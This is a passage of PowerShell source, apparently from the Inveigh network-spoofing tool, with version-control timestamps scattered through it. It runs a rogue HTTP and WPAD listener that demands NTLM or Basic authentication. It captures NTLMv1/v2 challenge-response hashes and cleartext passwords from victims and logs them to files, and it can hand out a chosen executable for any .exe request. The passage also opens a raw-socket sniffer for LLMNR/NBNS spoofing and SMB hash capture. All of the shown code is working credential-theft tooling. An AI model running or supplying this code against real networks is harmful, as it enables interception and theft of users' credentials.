$HTTP_header_host_extract = $HTTP_header_host_extract . Substring ( 0 , $HTTP_header_host_extract . IndexOf ( " -0D-0A- " ) )
$HTTP_header_host_extract = $HTTP_header_host_extract . Split ( " - " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
$HTTP_header_host = New-Object System . String ( $HTTP_header_host_extract , 0 , $HTTP_header_host_extract . Length )
}
if ( $TCP_request -like " *-55-73-65-72-2D-41-67-65-6E-74-3A-20-* " )
{
$HTTP_header_user_agent_extract = $TCP_request . Substring ( $TCP_request . IndexOf ( " -55-73-65-72-2D-41-67-65-6E-74-3A-20- " ) + 37 )
$HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract . Substring ( 0 , $HTTP_header_user_agent_extract . IndexOf ( " -0D-0A- " ) )
$HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract . Split ( " - " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
$HTTP_header_user_agent = New-Object System . String ( $HTTP_header_user_agent_extract , 0 , $HTTP_header_user_agent_extract . Length )
}
if ( $HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client . Client . Handle )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP " ) > $null
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP " ) > $null
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] $HTTP_type user agent received from $HTTP_source_IP ` : `n $HTTP_header_user_agent " ) > $null
2018-07-23 08:55:15 +00:00
if ( $Proxy -eq 'Y' -and $ProxyIgnore . Count -gt 0 -and ( $ProxyIgnore | Where-Object { $HTTP_header_user_agent -match $_ } ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [*] [ $( Get-Date -format s ) ] $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP " ) > $null
2018-07-23 08:55:15 +00:00
}
}
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( $TCP_request -like " *-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-* " )
{
$HTTP_header_authorization_extract = $TCP_request . Substring ( $TCP_request . IndexOf ( " -41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20- " ) + 46 )
$HTTP_header_authorization_extract = $HTTP_header_authorization_extract . Substring ( 0 , $HTTP_header_authorization_extract . IndexOf ( " -0D-0A- " ) )
$HTTP_header_authorization_extract = $HTTP_header_authorization_extract . Split ( " - " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
$HTTP_header_authorization = New-Object System . String ( $HTTP_header_authorization_extract , 0 , $HTTP_header_authorization_extract . Length )
}
if ( ( $HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous' ) -or ( $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous' ) -or (
$HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore . Count -gt 0 -and ( $WPADAuthIgnore | Where-Object { $HTTP_header_user_agent -match $_ } ) ) )
{
$HTTP_response_status_code = 0x32 , 0x30 , 0x30
$HTTP_response_phrase = 0x4f , 0x4b
$HTTP_client_close = $true
}
else
{
if ( ( $HTTP_request_raw_url -match '/wpad.dat' -and $WPADAuth -eq 'NTLM' ) -or ( $HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'NTLM' ) )
{
$HTTPNTLMESS = $true
}
else
{
$HTTPNTLMESS = $false
}
if ( $proxy_listener )
{
$HTTP_response_status_code = 0x34 , 0x30 , 0x37
$HTTP_header_authenticate = 0x50 , 0x72 , 0x6f , 0x78 , 0x79 , 0x2d , 0x41 , 0x75 , 0x74 , 0x68 , 0x65 , 0x6e , 0x74 , 0x69 , 0x63 , 0x61 , 0x74 , 0x65 , 0x3a , 0x20
}
else
{
$HTTP_response_status_code = 0x34 , 0x30 , 0x31
$HTTP_header_authenticate = 0x57 , 0x57 , 0x57 , 0x2d , 0x41 , 0x75 , 0x74 , 0x68 , 0x65 , 0x6e , 0x74 , 0x69 , 0x63 , 0x61 , 0x74 , 0x65 , 0x3a , 0x20
}
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
$HTTP_response_phrase = 0x55 , 0x6e , 0x61 , 0x75 , 0x74 , 0x68 , 0x6f , 0x72 , 0x69 , 0x7a , 0x65 , 0x64
$HTTP_client_close = $false
}
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( $TCP_request -like " 50-4f-53-54* " )
{
$HTTP_POST_request_extract = $TCP_request . Substring ( $TCP_request . IndexOf ( " -0D-0A-0D-0A- " ) + 12 )
$HTTP_POST_request_extract = $HTTP_POST_request_extract . Substring ( 0 , $HTTP_POST_request_extract . IndexOf ( " -00- " ) )
$HTTP_POST_request_extract = $HTTP_POST_request_extract . Split ( " - " ) | ForEach-Object { [ Char][System.Convert ] :: ToInt16 ( $_ , 16 ) }
$HTTP_POST_request = New-Object System . String ( $HTTP_POST_request_extract , 0 , $HTTP_POST_request_extract . Length )
if ( $HTTP_POST_request_old -ne $HTTP_POST_request )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] $HTTP_type POST request $HTTP_POST_request captured from $HTTP_source_IP " ) > $null
$inveigh . POST_request_file_queue . Add ( $HTTP_POST_request ) > $null
$inveigh . POST_request_list . Add ( $HTTP_POST_request ) > $null
2018-07-23 08:55:15 +00:00
}
$HTTP_POST_request_old = $HTTP_POST_request
}
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( $HTTP_header_authorization . StartsWith ( 'NTLM ' ) )
{
$HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ' , ''
[ Byte[] ] $HTTP_request_bytes = [ System.Convert ] :: FromBase64String ( $HTTP_header_authorization )
2019-01-21 09:49:07 +00:00
$HTTP_connection_header_close = $false
2018-07-23 08:55:15 +00:00
if ( [ System.BitConverter ] :: ToString ( $HTTP_request_bytes [ 8 . .11 ] ) -eq '01-00-00-00' )
{
2019-01-21 09:49:07 +00:00
$NTLM = Get-NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client . Client . RemoteEndpoint . Port
2018-07-23 08:55:15 +00:00
}
elseif ( [ System.BitConverter ] :: ToString ( $HTTP_request_bytes [ 8 . .11 ] ) -eq '03-00-00-00' )
{
2019-01-21 09:49:07 +00:00
$HTTP_NTLM_length = Get-UInt16DataLength 20 $HTTP_request_bytes
$HTTP_NTLM_offset = Get-UInt32DataLength 24 $HTTP_request_bytes
$HTTP_NTLM_domain_length = Get-UInt16DataLength 28 $HTTP_request_bytes
$HTTP_NTLM_domain_offset = Get-UInt32DataLength 32 $HTTP_request_bytes
2018-07-23 08:55:15 +00:00
[ String ] $NTLM_challenge = $inveigh . HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client . Client . RemoteEndpoint . Port + '*'
$inveigh . HTTP_challenge_queue . Remove ( $NTLM_challenge )
$NTLM_challenge = $NTLM_challenge . Substring ( ( $NTLM_challenge . IndexOf ( " , " ) ) + 1 )
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( $HTTP_NTLM_domain_length -eq 0 )
{
2019-01-21 09:49:07 +00:00
$HTTP_NTLM_domain_string = $null
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$HTTP_NTLM_domain_string = Convert-DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$HTTP_NTLM_user_length = Get-UInt16DataLength 36 $HTTP_request_bytes
$HTTP_NTLM_user_offset = Get-UInt32DataLength 40 $HTTP_request_bytes
$HTTP_NTLM_user_string = Convert-DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes
$HTTP_NTLM_host_length = Get-UInt16DataLength 44 $HTTP_request_bytes
$HTTP_NTLM_host_offset = Get-UInt32DataLength 48 $HTTP_request_bytes
$HTTP_NTLM_host_string = Convert-DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes
$HTTP_username_full = $HTTP_NTLM_domain_string + " \ " + $HTTP_NTLM_user_string
2018-07-23 08:55:15 +00:00
if ( $HTTP_NTLM_length -eq 24 ) # NTLMv1
{
$NTLM_response = [ System.BitConverter ] :: ToString ( $HTTP_request_bytes [ ( $HTTP_NTLM_offset - 24 ) . . ( $HTTP_NTLM_offset + $HTTP_NTLM_length ) ] ) -replace " - " , " "
$NTLM_response = $NTLM_response . Insert ( 48 , ':' )
$HTTP_NTLM_hash = $HTTP_NTLM_user_string + " :: " + $HTTP_NTLM_domain_string + " : " + $NTLM_response + " : " + $NTLM_challenge
2019-01-21 09:47:35 +00:00
2019-01-21 09:49:07 +00:00
if ( $NTLM_challenge -and $NTLM_response -and ( $inveigh . machine_accounts -or ( ! $inveigh . machine_accounts -and -not $HTTP_NTLM_user_string . EndsWith ( '$' ) ) ) )
{
$inveigh . NTLMv1_list . Add ( $HTTP_NTLM_hash ) > $null
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( ! $inveigh . console_unique -or ( $inveigh . console_unique -and $inveigh . NTLMv1_username_list -notcontains " $HTTP_source_IP $HTTP_username_full " ) )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ( $HTTP_NTLM_host_string ): `n $HTTP_NTLM_hash " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP ( $HTTP_NTLM_host_string ): `n $HTTP_username_full [not unique] " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $inveigh . file_output -and ( ! $inveigh . file_unique -or ( $inveigh . file_unique -and $inveigh . NTLMv1_username_list -notcontains " $HTTP_source_IP $HTTP_username_full " ) ) )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . NTLMv1_file_queue . Add ( $HTTP_NTLM_hash ) > $null
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] $HTTP_type NTLMv1 challenge/response written to " + $inveigh . NTLMv1_out_file ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $inveigh . NTLMv1_username_list -notcontains " $HTTP_source_IP $HTTP_username_full " )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . NTLMv1_username_list . Add ( " $HTTP_source_IP $HTTP_username_full " ) > $null
2018-07-23 08:55:15 +00:00
}
}
}
else # NTLMv2
2019-01-21 09:49:07 +00:00
{
2018-07-23 08:55:15 +00:00
$NTLM_response = [ System.BitConverter ] :: ToString ( $HTTP_request_bytes [ $HTTP_NTLM_offset . . ( $HTTP_NTLM_offset + $HTTP_NTLM_length ) ] ) -replace " - " , " "
$NTLM_response = $NTLM_response . Insert ( 32 , ':' )
$HTTP_NTLM_hash = $HTTP_NTLM_user_string + " :: " + $HTTP_NTLM_domain_string + " : " + $NTLM_challenge + " : " + $NTLM_response
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
if ( $NTLM_challenge -and $NTLM_response -and ( $inveigh . machine_accounts -or ( ! $inveigh . machine_accounts -and -not $HTTP_NTLM_user_string . EndsWith ( '$' ) ) ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . NTLMv2_list . Add ( $HTTP_NTLM_hash ) > $null
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( ! $inveigh . console_unique -or ( $inveigh . console_unique -and $inveigh . NTLMv2_username_list -notcontains " $HTTP_source_IP $HTTP_username_full " ) )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ( $HTTP_NTLM_host_string ): `n $HTTP_NTLM_hash " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ( $HTTP_NTLM_host_string ): `n $HTTP_username_full [not unique] " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $inveigh . file_output -and ( ! $inveigh . file_unique -or ( $inveigh . file_unique -and $inveigh . NTLMv2_username_list -notcontains " $HTTP_source_IP $HTTP_username_full " ) ) )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . NTLMv2_file_queue . Add ( $HTTP_NTLM_hash ) > $null
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] $HTTP_type NTLMv2 challenge/response written to " + $inveigh . NTLMv2_out_file ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $inveigh . NTLMv2_username_list -notcontains " $HTTP_source_IP $HTTP_username_full " )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . NTLMv2_username_list . Add ( " $HTTP_source_IP $HTTP_username_full " ) > $null
2018-07-23 08:55:15 +00:00
}
}
}
2019-01-21 09:49:07 +00:00
if ( $HTTP_NTLM_domain_string -and $HTTP_NTLM_user_string -and $HTTP_NTLM_host_string -and $HTTP_source_IP )
{
Invoke-SessionUpdate $HTTP_NTLM_domain_string $HTTP_NTLM_user_string $HTTP_NTLM_host_string $HTTP_source_IP
}
2018-07-23 08:55:15 +00:00
if ( $inveigh . IP_capture_list -notcontains $HTTP_source_IP -and -not $HTTP_NTLM_user_string . EndsWith ( '$' ) -and ! $inveigh . spoofer_repeat -and $HTTP_source_IP -ne $IP )
{
2019-01-21 09:49:07 +00:00
$inveigh . IP_capture_list . Add ( $HTTP_source_IP ) > $null
2018-07-23 08:55:15 +00:00
}
$HTTP_response_status_code = 0x32 , 0x30 , 0x30
$HTTP_response_phrase = 0x4f , 0x4b
$HTTP_client_close = $true
2019-01-21 09:49:07 +00:00
$NTLM_challenge = $null
2018-07-23 08:55:15 +00:00
if ( $proxy_listener )
{
if ( $HTTPResponse -or $HTTPDir )
{
$HTTP_header_cache_control = 0x43 , 0x61 , 0x63 , 0x68 , 0x65 , 0x2d , 0x43 , 0x6f , 0x6e , 0x74 , 0x72 , 0x6f , 0x6c , 0x3a , 0x20 , 0x6e , 0x6f , 0x2d , 0x63 , 0x61 , 0x63 , 0x68 , 0x65 , 0x2c , 0x20 , 0x6e , 0x6f , 0x2d , 0x73 , 0x74 , 0x6f , 0x72 , 0x65
}
else
{
$HTTP_send = $false
}
}
}
else
{
$HTTP_client_close = $true
}
}
elseif ( $HTTP_header_authorization . startswith ( 'Basic ' ) )
{
$HTTP_response_status_code = 0x32 , 0x30 , 0x30
$HTTP_response_phrase = 0x4f , 0x4b
$HTTP_header_authorization = $HTTP_header_authorization -replace 'Basic ' , ''
$cleartext_credentials = [ System.Text.Encoding ] :: UTF8 . GetString ( [ System.Convert ] :: FromBase64String ( $HTTP_header_authorization ) )
$HTTP_client_close = $true
2019-01-21 09:49:07 +00:00
$inveigh . cleartext_file_queue . Add ( $cleartext_credentials ) > $null
$inveigh . cleartext_list . Add ( $cleartext_credentials ) > $null
$inveigh . output_queue . Add ( " [+] [ $( Get-Date -format s ) ] $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP " ) > $null
2018-07-23 08:55:15 +00:00
if ( $inveigh . file_output )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [!] [ $( Get-Date -format s ) ] $HTTP_type Basic auth cleartext credentials written to " + $inveigh . cleartext_out_file ) > $null
2018-07-23 08:55:15 +00:00
}
}
if ( ( $HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous' ) -or ( $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous' ) -or (
$WPADAuthIgnore . Count -gt 0 -and $WPADAuth -like 'NTLM*' -and ( $WPADAuthIgnore | Where-Object { $HTTP_header_user_agent -match $_ } ) ) -or $HTTP_client_close )
{
if ( $HTTPDir -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and ( Test-Path ( Join-Path $HTTPDir $HTTPDefaultEXE ) ) -and ! ( Test-Path ( Join-Path $HTTPDir $HTTP_request_raw_url ) ) )
{
[ Byte[] ] $HTTP_message_bytes = [ System.IO.File ] :: ReadAllBytes ( ( Join-Path $HTTPDir $HTTPDefaultEXE ) )
2019-01-21 09:49:07 +00:00
$HTTP_header_content_type = [ System.Text.Encoding ] :: UTF8 . GetBytes ( " Content-Type: application/exe " )
2018-07-23 08:55:15 +00:00
}
elseif ( $HTTPDir )
{
if ( $HTTPDefaultFile -and ! ( Test-Path ( Join-Path $HTTPDir $HTTP_request_raw_url ) ) -and ( Test-Path ( Join-Path $HTTPDir $HTTPDefaultFile ) ) -and $HTTP_request_raw_url -notmatch '/wpad.dat' )
{
[ Byte[] ] $HTTP_message_bytes = [ System.IO.File ] :: ReadAllBytes ( ( Join-Path $HTTPDir $HTTPDefaultFile ) )
}
elseif ( ( $HTTPDefaultFile -and $HTTP_request_raw_url -eq '' -or $HTTPDefaultFile -and $HTTP_request_raw_url -eq '/' ) -and ( Test-Path ( Join-Path $HTTPDir $HTTPDefaultFile ) ) )
{
[ Byte[] ] $HTTP_message_bytes = [ System.IO.File ] :: ReadAllBytes ( ( Join-Path $HTTPDir $HTTPDefaultFile ) )
}
elseif ( $WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat' )
{
[ Byte[] ] $HTTP_message_bytes = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $WPADResponse )
2019-01-21 09:49:07 +00:00
$HTTP_header_content_type = [ System.Text.Encoding ] :: UTF8 . GetBytes ( " Content-Type: application/x-ns-proxy-autoconfig " )
2018-07-23 08:55:15 +00:00
}
else
{
if ( Test-Path ( Join-Path $HTTPDir $HTTP_request_raw_url ) )
{
[ Byte[] ] $HTTP_message_bytes = [ System.IO.File ] :: ReadAllBytes ( ( Join-Path $HTTPDir $HTTP_request_raw_url ) )
}
else
{
[ Byte[] ] $HTTP_message_bytes = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $HTTPResponse )
}
}
}
else
{
if ( $WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat' -and ( ! $ProxyIgnore -or ! ( $ProxyIgnore | Where-Object { $HTTP_header_user_agent -match $_ } ) ) )
{
$HTTP_message = $WPADResponse
2019-01-21 09:49:07 +00:00
$HTTP_header_content_type = [ System.Text.Encoding ] :: UTF8 . GetBytes ( " Content-Type: application/x-ns-proxy-autoconfig " )
2018-07-23 08:55:15 +00:00
}
elseif ( $HTTPResponse )
{
$HTTP_message = $HTTPResponse
if ( $HTTPContentType )
{
2019-01-21 09:49:07 +00:00
$HTTP_header_content_type = [ System.Text.Encoding ] :: UTF8 . GetBytes ( " Content-Type: $HTTPContentType " )
2018-07-23 08:55:15 +00:00
}
}
[ Byte[] ] $HTTP_message_bytes = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $HTTP_message )
}
}
else
{
[ Byte[] ] $HTTP_message_bytes = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $HTTP_message )
}
$HTTP_timestamp = Get-Date -format r
$HTTP_timestamp = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $HTTP_timestamp )
if ( ( $HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat' ) -or ( $WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat' ) -and ! $HTTP_client_close )
{
$HTTP_header_authenticate_data = [ System.Text.Encoding ] :: UTF8 . GetBytes ( $NTLM )
}
elseif ( ( $HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat' ) -or ( $WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat' ) )
{
$HTTP_header_authenticate_data = [ System.Text.Encoding ] :: UTF8 . GetBytes ( " Basic realm= $HTTPBasicRealm " )
}
2019-01-21 09:49:07 +00:00
2018-07-23 08:55:15 +00:00
$packet_HTTPResponse = New-Object System . Collections . Specialized . OrderedDictionary
2019-01-21 09:49:07 +00:00
$packet_HTTPResponse . Add ( " HTTPResponse_ResponseVersion " , [ Byte[] ] ( 0x48 , 0x54 , 0x54 , 0x50 , 0x2f , 0x31 , 0x2e , 0x31 , 0x20 ) )
2018-07-23 08:55:15 +00:00
$packet_HTTPResponse . Add ( " HTTPResponse_StatusCode " , $HTTP_response_status_code + [ Byte[] ] ( 0x20 ) )
$packet_HTTPResponse . Add ( " HTTPResponse_ResponsePhrase " , $HTTP_response_phrase + [ Byte[] ] ( 0x0d , 0x0a ) )
2019-01-21 09:49:07 +00:00
if ( $HTTP_connection_header_close )
{
$HTTP_connection_header = [ System.Text.Encoding ] :: UTF8 . GetBytes ( " Connection: close " )
$packet_HTTPResponse . Add ( " HTTPResponse_Connection " , $HTTP_connection_header + [ Byte[] ] ( 0x0d , 0x0a ) )
}
$packet_HTTPResponse . Add ( " HTTPResponse_Server " , [ System.Text.Encoding ] :: UTF8 . GetBytes ( " Server: Microsoft-HTTPAPI/2.0 " ) + [ Byte[] ] ( 0x0d , 0x0a ) )
2018-07-23 08:55:15 +00:00
$packet_HTTPResponse . Add ( " HTTPResponse_TimeStamp " , [ Byte[] ] ( 0x44 , 0x61 , 0x74 , 0x65 , 0x3a , 0x20 ) + $HTTP_timestamp + [ Byte[] ] ( 0x0d , 0x0a ) )
2019-01-21 09:49:07 +00:00
$packet_HTTPResponse . Add ( " HTTPResponse_ContentLength " , [ System.Text.Encoding ] :: UTF8 . GetBytes ( " Content-Length: $( $HTTP_message_bytes . Length ) " ) + [ Byte[] ] ( 0x0d , 0x0a ) )
2018-07-23 08:55:15 +00:00
if ( $HTTP_header_authenticate -and $HTTP_header_authenticate_data )
{
$packet_HTTPResponse . Add ( " HTTPResponse_AuthenticateHeader " , $HTTP_header_authenticate + $HTTP_header_authenticate_data + [ Byte[] ] ( 0x0d , 0x0a ) )
}
if ( $HTTP_header_content_type )
{
$packet_HTTPResponse . Add ( " HTTPResponse_ContentType " , $HTTP_header_content_type + [ Byte[] ] ( 0x0d , 0x0a ) )
}
if ( $HTTP_header_cache_control )
{
$packet_HTTPResponse . Add ( " HTTPResponse_CacheControl " , $HTTP_header_cache_control + [ Byte[] ] ( 0x0d , 0x0a ) )
}
if ( $HTTP_send )
{
$packet_HTTPResponse . Add ( " HTTPResponse_Message " , [ Byte[] ] ( 0x0d , 0x0a ) + $HTTP_message_bytes )
$HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse
$HTTP_stream . Write ( $HTTP_response , 0 , $HTTP_response . Length )
$HTTP_stream . Flush ( )
}
Start-Sleep -m 10
$HTTP_request_raw_URL_old = $HTTP_request_raw_URL
$HTTP_client_handle_old = $HTTP_client . Client . Handle
if ( $HTTP_client_close )
{
if ( $proxy_listener )
{
$HTTP_client . Client . Close ( )
}
else
{
$HTTP_client . Close ( )
}
}
}
else
{
2019-01-21 09:49:07 +00:00
if ( $HTTP_client_handle_old -eq $HTTP_client . Client . Handle )
{
$HTTP_reset + +
}
else
{
$HTTP_reset = 0
}
if ( $HTTP_data_available -or $HTTP_connection_header_close -or $HTTP_reset -gt 20 )
2018-07-23 08:55:15 +00:00
{
$HTTP_client . Close ( )
$HTTP_client_close = $true
2019-01-21 09:49:07 +00:00
$HTTP_reset = 0
2018-07-23 08:55:15 +00:00
}
else
{
Start-Sleep -m 100
}
}
}
$HTTP_client . Close ( )
start-sleep -s 1
$HTTP_listener . Server . Blocking = $false
Start-Sleep -s 1
$HTTP_listener . Server . Close ( )
Start-Sleep -s 1
$HTTP_listener . Stop ( )
}
# Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer
$sniffer_scriptblock =
{
2019-01-21 09:49:07 +00:00
param ( $EvadeRG , $IP , $LLMNR , $LLMNR_response_message , $LLMNRTTL , $mDNS , $mDNS_response_message , $mDNSTypes , $mDNSTTL ,
$NBNS , $NBNS_response_message , $NBNSTTL , $NBNSTypes , $SMB , $SpooferHostsIgnore , $SpooferHostsReply ,
$SpooferIP , $SpooferIPsIgnore , $SpooferIPsReply , $SpooferLearning , $SpooferLearningDelay ,
$SpooferLearningInterval , $SpooferNonprintable , $SpooferThresholdHost , $SpooferThresholdNetwork )
2018-07-23 08:55:15 +00:00
$sniffer_running = $true
$byte_in = New-Object System . Byte [ ] 4
$byte_out = New-Object System . Byte [ ] 4
$byte_data = New-Object System . Byte [ ] 4096
$byte_in [ 0 ] = 1
$byte_in [ 1 - 3 ] = 0
$byte_out [ 0 ] = 1
$byte_out [ 1 - 3 ] = 0
$sniffer_socket = New-Object System . Net . Sockets . Socket ( [ Net.Sockets.AddressFamily ] :: InterNetwork , [ Net.Sockets.SocketType ] :: Raw , [ Net.Sockets.ProtocolType ] :: IP )
$sniffer_socket . SetSocketOption ( " IP " , " HeaderIncluded " , $true )
$sniffer_socket . ReceiveBufferSize = 4096
try
{
$end_point = New-Object System . Net . IPEndpoint ( [ System.Net.IPAddress ] " $IP " , 0 )
}
catch
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] [ $( Get-Date -format s ) ] Error starting sniffer/spoofer " ) > $null
2018-07-23 08:55:15 +00:00
$sniffer_running = $false
}
$sniffer_socket . Bind ( $end_point )
$sniffer_socket . IOControl ( [ System.Net.Sockets.IOControlCode ] :: ReceiveAll , $byte_in , $byte_out )
$LLMNR_TTL_bytes = [ System.BitConverter ] :: GetBytes ( $LLMNRTTL )
[ Array ] :: Reverse ( $LLMNR_TTL_bytes )
$mDNS_TTL_bytes = [ System.BitConverter ] :: GetBytes ( $mDNSTTL )
[ Array ] :: Reverse ( $mDNS_TTL_bytes )
$NBNS_TTL_bytes = [ System.BitConverter ] :: GetBytes ( $NBNSTTL )
[ Array ] :: Reverse ( $NBNS_TTL_bytes )
$LLMNR_learning_log = New-Object System . Collections . Generic . List [ string ]
$NBNS_learning_log = New-Object System . Collections . Generic . List [ string ]
if ( $SpooferLearningDelay )
{
$spoofer_learning_delay = New-TimeSpan -Minutes $SpooferLearningDelay
$spoofer_learning_stopwatch = [ System.Diagnostics.Stopwatch ] :: StartNew ( )
}
while ( $inveigh . running -and $sniffer_running )
{
$packet_data = $sniffer_socket . Receive ( $byte_data , 0 , $byte_data . Length , [ System.Net.Sockets.SocketFlags ] :: None )
$memory_stream = New-Object System . IO . MemoryStream ( $byte_data , 0 , $packet_data )
$binary_reader = New-Object System . IO . BinaryReader ( $memory_stream )
$version_HL = $binary_reader . ReadByte ( )
$binary_reader . ReadByte ( ) > $null
2019-01-21 09:49:07 +00:00
$total_length = Convert-DataToUInt16 $binary_reader . ReadBytes ( 2 )
2018-07-23 08:55:15 +00:00
$binary_reader . ReadBytes ( 5 ) > $null
$protocol_number = $binary_reader . ReadByte ( )
$binary_reader . ReadBytes ( 2 ) > $null
$source_IP_bytes = $binary_reader . ReadBytes ( 4 )
$source_IP = [ System.Net.IPAddress ] $source_IP_bytes
$destination_IP_bytes = $binary_reader . ReadBytes ( 4 )
$destination_IP = [ System.Net.IPAddress ] $destination_IP_bytes
$header_length = [ Int ] " 0x $( ( '{0:X}' -f $version_HL ) [ 1 ] ) " * 4
switch ( $protocol_number )
{
6
{ # TCP
2019-01-21 09:49:07 +00:00
$source_port = Convert-DataToUInt16 $binary_reader . ReadBytes ( 2 )
$destination_port = Convert-DataToUInt16 $binary_reader . ReadBytes ( 2 )
2018-07-23 08:55:15 +00:00
$binary_reader . ReadBytes ( 8 ) > $null
$TCP_header_length = [ Int ] " 0x $( ( '{0:X}' -f $binary_reader . ReadByte ( ) ) [ 0 ] ) " * 4
$binary_reader . ReadBytes ( 7 ) > $null
$payload_bytes = $binary_reader . ReadBytes ( $total_length - ( $header_length + $TCP_header_length ) )
switch ( $destination_port )
{
139
{
if ( $SMB -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
if ( $payload_bytes )
2019-01-20 20:27:28 +00:00
{
2019-01-21 09:49:07 +00:00
Get-SMBConnection $payload_bytes $IP $source_IP $source_port " 139 "
}
if ( $inveigh . SMB_session_table . " $source_IP ` : $source_port " )
{
Get-SMBNTLMResponse $payload_bytes " $source_IP ` : $source_port "
2018-07-23 08:55:15 +00:00
}
}
}
445
{
if ( $SMB -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
if ( $payload_bytes )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
Get-SMBConnection $payload_bytes $IP $source_IP $source_port " 445 "
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $inveigh . SMB_session_table . " $source_IP ` : $source_port " )
{
Get-SMBNTLMResponse $payload_bytes " $source_IP ` : $source_port "
}
2018-07-23 08:55:15 +00:00
}
}
}
# Outgoing packets
switch ( $source_port )
{
139
{
if ( $SMB -eq 'Y' )
{
